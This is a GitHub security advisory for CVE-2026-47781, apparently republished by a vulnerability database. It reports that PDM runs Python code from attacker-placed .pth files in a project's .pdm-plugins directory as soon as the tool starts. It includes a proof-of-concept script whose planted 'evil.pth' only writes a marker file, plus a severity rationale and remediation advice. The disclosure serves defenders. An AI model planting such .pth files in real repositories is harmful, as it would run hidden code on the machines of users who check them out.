GHSA-QQ6C-99PV-PRVF
Vulnerability from github – Published: 2026-06-11 13:25 – Updated: 2026-06-11 13:25Summary
PDM automatically loads project-local plugin paths from .pdm-plugins during Core initialization. Because this path is added via site.addsitedir(), attacker-controlled .pth files inside the project plugin directory are processed and can execute Python code before normal CLI handling begins.
This allows arbitrary code execution with the privileges of the user running pdm from an untrusted repository checkout.
Affected Behavior
- Trigger does not require
pdm install --plugins - A low-impact command such as
pdm --versionis sufficient - Impact is strongest in CI, privileged shells, and automation contexts
Affected Code
src/pdm/core.py:74-82src/pdm/core.py:310-333src/pdm/core.py:335-352
Technical Details
Core.__init__() calls load_plugins() before ordinary command execution. load_plugins() calls _add_project_plugins_library(), which derives the project-local .pdm-plugins library path and adds it through site.addsitedir().
On CPython, site.addsitedir() processes .pth files found in the added directory. .pth lines beginning with import are executed immediately. This creates a trust-boundary break: project-controlled files execute before the user explicitly opts into plugin installation or plugin loading.
Impact
- Arbitrary code execution as the invoking user
- Potential credential theft, persistence, or workspace tampering
- Potential privilege escalation when
pdmis run viasudo, root-owned CI jobs, or privileged service accounts
Reproduction
PoC:
# Replace this with a Python interpreter that can run `python -m pdm`.
PDM_PY=/path/to/python-with-pdm
tmpdir=$(mktemp -d)
cat > "$tmpdir/pyproject.toml" <<'EOF'
[project]
name = "plugin-autoload-demo"
version = "0.0.1"
EOF
purelib=$(TMPDIR_ROOT="$tmpdir/.pdm-plugins" "$PDM_PY" - <<'PY'
import os
import sys
import sysconfig
base = os.environ["TMPDIR_ROOT"]
scheme_names = sysconfig.get_scheme_names()
if (sys.platform == "darwin" and "osx_framework_library" in scheme_names) or sys.platform == "linux":
scheme = "posix_prefix"
elif sys.version_info < (3, 10):
scheme = "nt" if os.name == "nt" else "posix_prefix"
else:
scheme = sysconfig.get_default_scheme()
replace_vars = {"base": base, "platbase": base}
print(sysconfig.get_path("purelib", scheme, replace_vars))
PY
)
mkdir -p "$purelib"
marker="$tmpdir/plugin-autoload-marker.txt"
printf '%s\n' "import pathlib; pathlib.Path(r'$marker').write_text('project plugin autoload executed', encoding='utf-8')" > "$purelib/evil.pth"
(
cd "$tmpdir" &&
"$PDM_PY" -m pdm --version
)
cat "$marker"
Expected result:
- A temporary project is created
- An
evil.pthfile is placed under.pdm-plugins - Running
pdm --versioncreates a marker file before CLI exit
Observed output from local validation:
PDM, version 2.26.9
--- marker ---
project plugin autoload executed
Severity
High
CVSS v4.0
- Base score:
8.4(High) - Vector:
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Rationale:
AV:L: exploitation occurs through local execution ofpdmagainst attacker-controlled repository contentAC:L: no special bypass or race is requiredAT:N: no external precondition beyond the vulnerable workflow is requiredPR:N: the attacker does not need privileges on the victim hostUI:A: the victim must actively run apdmcommand in the malicious checkoutVC:H/VI:H/VA:H: successful exploitation yields arbitrary code execution as the invoking userSC:N/SI:N/SA:N: the score is kept to same-system impact only
Root Cause
Project-local plugin paths are implicitly trusted and loaded too early, and .pth processing is inherited from site.addsitedir().
Recommended Remediation
- Do not auto-load project-local
.pdm-pluginsby default - Avoid
site.addsitedir()for project-controlled plugin paths - If project plugins must be supported, require explicit opt-in such as
--enable-project-plugins - Explicitly prevent
.pthexecution when loading project plugin paths
Disclosure Notes
This issue is a strong standalone CVE candidate because it yields direct code execution from repository-controlled files without requiring the victim to run a project script explicitly.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.26.9"
},
"package": {
"ecosystem": "PyPI",
"name": "pdm"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.27.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47781"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-11T13:25:28Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nPDM automatically loads project-local plugin paths from `.pdm-plugins` during `Core` initialization. Because this path is added via `site.addsitedir()`, attacker-controlled `.pth` files inside the project plugin directory are processed and can execute Python code before normal CLI handling begins.\n\nThis allows arbitrary code execution with the privileges of the user running `pdm` from an untrusted repository checkout.\n\n## Affected Behavior\n\n- Trigger does not require `pdm install --plugins`\n- A low-impact command such as `pdm --version` is sufficient\n- Impact is strongest in CI, privileged shells, and automation contexts\n\n## Affected Code\n\n- `src/pdm/core.py:74-82`\n- `src/pdm/core.py:310-333`\n- `src/pdm/core.py:335-352`\n\n## Technical Details\n\n`Core.__init__()` calls `load_plugins()` before ordinary command execution. `load_plugins()` calls `_add_project_plugins_library()`, which derives the project-local `.pdm-plugins` library path and adds it through `site.addsitedir()`.\n\nOn CPython, `site.addsitedir()` processes `.pth` files found in the added directory. `.pth` lines beginning with `import ` are executed immediately. This creates a trust-boundary break: project-controlled files execute before the user explicitly opts into plugin installation or plugin loading.\n\n## Impact\n\n- Arbitrary code execution as the invoking user\n- Potential credential theft, persistence, or workspace tampering\n- Potential privilege escalation when `pdm` is run via `sudo`, root-owned CI jobs, or privileged service accounts\n\n## Reproduction\n\nPoC:\n\n```bash\n# Replace this with a Python interpreter that can run `python -m pdm`.\nPDM_PY=/path/to/python-with-pdm\ntmpdir=$(mktemp -d)\n\ncat \u003e \"$tmpdir/pyproject.toml\" \u003c\u003c\u0027EOF\u0027\n[project]\nname = \"plugin-autoload-demo\"\nversion = \"0.0.1\"\nEOF\n\npurelib=$(TMPDIR_ROOT=\"$tmpdir/.pdm-plugins\" \"$PDM_PY\" - \u003c\u003c\u0027PY\u0027\nimport os\nimport sys\nimport sysconfig\n\nbase = os.environ[\"TMPDIR_ROOT\"]\nscheme_names = sysconfig.get_scheme_names()\nif (sys.platform == \"darwin\" and \"osx_framework_library\" in scheme_names) or sys.platform == \"linux\":\n scheme = \"posix_prefix\"\nelif sys.version_info \u003c (3, 10):\n scheme = \"nt\" if os.name == \"nt\" else \"posix_prefix\"\nelse:\n scheme = sysconfig.get_default_scheme()\nreplace_vars = {\"base\": base, \"platbase\": base}\nprint(sysconfig.get_path(\"purelib\", scheme, replace_vars))\nPY\n)\n\nmkdir -p \"$purelib\"\nmarker=\"$tmpdir/plugin-autoload-marker.txt\"\nprintf \u0027%s\\n\u0027 \"import pathlib; pathlib.Path(r\u0027$marker\u0027).write_text(\u0027project plugin autoload executed\u0027, encoding=\u0027utf-8\u0027)\" \u003e \"$purelib/evil.pth\"\n\n(\n cd \"$tmpdir\" \u0026\u0026\n \"$PDM_PY\" -m pdm --version\n)\n\ncat \"$marker\"\n```\n\nExpected result:\n\n- A temporary project is created\n- An `evil.pth` file is placed under `.pdm-plugins`\n- Running `pdm --version` creates a marker file before CLI exit\n\nObserved output from local validation:\n\n```text\nPDM, version 2.26.9\n\n--- marker ---\nproject plugin autoload executed\n```\n\n## Severity\n\nHigh\n\n## CVSS v4.0\n\n- Base score: `8.4` (`High`)\n- Vector: `CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`\n\nRationale:\n\n- `AV:L`: exploitation occurs through local execution of `pdm` against attacker-controlled repository content\n- `AC:L`: no special bypass or race is required\n- `AT:N`: no external precondition beyond the vulnerable workflow is required\n- `PR:N`: the attacker does not need privileges on the victim host\n- `UI:A`: the victim must actively run a `pdm` command in the malicious checkout\n- `VC:H/VI:H/VA:H`: successful exploitation yields arbitrary code execution as the invoking user\n- `SC:N/SI:N/SA:N`: the score is kept to same-system impact only\n\n## Root Cause\n\nProject-local plugin paths are implicitly trusted and loaded too early, and `.pth` processing is inherited from `site.addsitedir()`.\n\n## Recommended Remediation\n\n- Do not auto-load project-local `.pdm-plugins` by default\n- Avoid `site.addsitedir()` for project-controlled plugin paths\n- If project plugins must be supported, require explicit opt-in such as `--enable-project-plugins`\n- Explicitly prevent `.pth` execution when loading project plugin paths\n\n## Disclosure Notes\n\nThis issue is a strong standalone CVE candidate because it yields direct code execution from repository-controlled files without requiring the victim to run a project script explicitly.",
"id": "GHSA-qq6c-99pv-prvf",
"modified": "2026-06-11T13:25:28Z",
"published": "2026-06-11T13:25:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pdm-project/pdm/security/advisories/GHSA-qq6c-99pv-prvf"
},
{
"type": "PACKAGE",
"url": "https://github.com/pdm-project/pdm"
},
{
"type": "WEB",
"url": "https://github.com/pdm-project/pdm/releases/tag/2.27.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "PDM: Project-Controlled `.pdm-plugins` Content Executes Before CLI Parsing"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.